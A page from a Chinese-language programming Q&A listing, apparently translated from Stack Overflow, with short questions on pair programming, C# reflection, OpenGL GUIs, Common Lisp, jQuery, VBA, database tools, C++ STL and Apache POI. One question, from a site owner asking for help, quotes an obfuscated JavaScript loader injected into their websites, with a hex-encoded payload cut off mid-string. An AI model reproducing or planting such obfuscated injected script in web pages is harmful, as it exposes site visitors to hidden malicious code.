问题列表 - 第6695页

Pair编程是否意味着您不需要设计文档?

在结对编程中,团队中每个成员的经验都可以传播给新成员.这种体验总是与代码同步,因为对的"高级"知道代码是如何工作的以及设计是什么.

那么在这种情况下设计文档的效用是什么?

UPDATE

我并不暗示没有设计,我暗示没有文件.有一个练习结对编程的团队,我认为每个人都是一次性的,因为每个人都知道代码.如果高级开发人员离开,我认为至少有一个人知道代码,因为之前已经分享了经验.

pair-programming extreme-programming

5
推荐指数
1
解决办法
507
查看次数

Javascript"病毒"

我的所有网站上都有一些JS"病毒"的问题.它们位于不同的主机上,其中一些主机出现在此代码中.

<script>
function c2670903e0i49d9f1a845f6b(i49d9f1a846377) {
    var i49d9f1a846737 = 16;
    return (parseInt(i49d9f1a846377, i49d9f1a846737));
}
function i49d9f1a8472f3(i49d9f1a8476d9) {
    var i49d9f1a848679 = 2;
    var i49d9f1a847da9 = '';
    i49d9f1a848e47 = String.fromCharCode;
    for (i49d9f1a84828e = 0; i49d9f1a84828e < i49d9f1a8476d9.length; i49d9f1a84828e += i49d9f1a848679) {
        i49d9f1a847da9 += (i49d9f1a848e47(c2670903e0i49d9f1a845f6b(i49d9f1a8476d9.substr(i49d9f1a84828e, i49d9f1a848679))));
    }
    return i49d9f1a847da9;
}
var r1a = '';
var i49d9f1a84922e = '3C7' + r1a + '3637' + r1a + '2697' + r1a + '07' + r1a +'43E696628216D7' + r1a + '96961297' + r1a + 'B646F637' + r1a + …
Run Code Online (Sandbox Code Playgroud)

javascript virus

3
推荐指数
2
解决办法
9493
查看次数

使用反射检查方法是否为"扩展方法"

作为我的应用程序的一部分,我有一个接收MethodInfo的函数,需要对它进行特定的操作,这取决于该方法是否为"扩展方法".

我检查了MethodInfo类,我找不到任何显示该方法是扩展名的IsExtension属性或标志.

有谁知道如何从方法的MethodInfo中找到它?

c# reflection extension-methods methodinfo

16
推荐指数
2
解决办法
2269
查看次数

在桌面应用程序中使用OpenGL进行GUI设计有什么缺点?

C/C++有很多GUI库,但很少有人基于opengl是一个相当多平台的图形库.使用这个OpenGL在便携式应用程序中构建自己的最小GUI有什么大的缺点吗?

Blender正在这样做,似乎它适用于它.

编辑:我的问题不在于使用外部库或自己创建.我主要关心的是使用opengl作为后端的库.例如,Agar,CEGUI或Blender的GUI.

谢谢.

c++ opengl user-interface

12
推荐指数
3
解决办法
9499
查看次数

在实践中,REMOVE是否会返回相同的序列?

是否REMOVE曾经在Common Lisp的任何真正实现返回相同的序列?规范建议允许:

删除的结果可以与序列共享; 如果不需要删除元素,则结果可能与输入序列相同.

例如,SBCL似乎没有这样做,但我只进行了粗略(可能不够)的测试,我想知道其他实现是做什么的.

CL-USER> (defparameter *str* "bbb")
*STR*
CL-USER> *str*
"bbb"
CL-USER> (defparameter *str2* (remove #\a *str*))
*STR2*
CL-USER> (eq *str* *str2*)
NIL
CL-USER> *str* 
"bbb"
CL-USER> *str2*
"bbb"

common-lisp

3
推荐指数
1
解决办法
107
查看次数

使用Firebug调试jQuery

我看过很多关于如何尝试在Firebug中调试jQuery的旧帖子.任何人都有一个好方法,因为我根本看不到一个有效的方法.

jquery

21
推荐指数
2
解决办法
3万
查看次数

Excel VBA - 初始化空用户类型和检测空值

我创建了一个用户定义的类型来包含一些我将用于填充表单的数据.我正在使用该用户定义类型的数组,并且当我从异地服务器提取数据时,我调整了该数组的大小.

为了使我的程序更容易消化,我已经开始将它分成子程序.但是,当我的程序初始化时,我无法判断特定阵列何时被初始化,因此我不能确定我可以调用大小函数来查看该数组是否为空.

有没有办法初始化空用户类型或检测空用户类型?目前,我正在进行硬编码,我更喜欢更优雅的解决方案.

excel vba initialization excel-vba user-defined-types

1
推荐指数
1
解决办法
6169
查看次数

开发人员工具直接访问数据库

我使用几个不同的数据库,发现自己经常尝试连接这些数据库以测试查询.我使用特定于数据库的工具连接到数据库并运行查询.

我发现这些特定于数据库的工具,如SQL查询分析器(SQL-Server),Oracle企业管理器,MySQL查询浏览器,在运行快速查询和直接查看数据时非常笨拙和缓慢.记住开发和测试数据库的所有用户ID和pwd也很难.

您使用哪些工具作为开发人员连接到所选数据库?我使用Eclipse作为IDE.因此,任何Eclipse特定提示也受到赞赏.

即使一个工具与一个DB一起使用而不与另一个DB一起工作,如果它比数据库供应商提供的更加用户友好,我愿意研究它.我已经使用了3种不同的.

mysql database eclipse sql-server oracle

15
推荐指数
2
解决办法
3万
查看次数

使用值累积地图中的元素总和

说我有一个

struct SMyStruct 
{
   int MULT;
   int VAL;

};


std::map<std::string, SMyStuct*> _idToMyStructMap;
Run Code Online (Sandbox Code Playgroud)

现在我想计算所有SMyStuct的总和,其中total被定义为idToMyStructMap中每个元素的MULT1*VAL1 + MULT2*VAL2.

似乎累积功能是一个自然的选择.请建议.谢谢

请不要提升....只是一个'时尚stl

c++ algorithm stl

6
推荐指数
2
解决办法
6227
查看次数

使用Apache POI导入CSV数据

如何使用Apache POI高效导入CSV数据?如果我有一个非常大的CSV文件,我想存储在我的Excel电子表格中,那么我不认为逐个单元格是最好的导入方式......?

java csv excel apache-poi

13
推荐指数
2
解决办法
4万
查看次数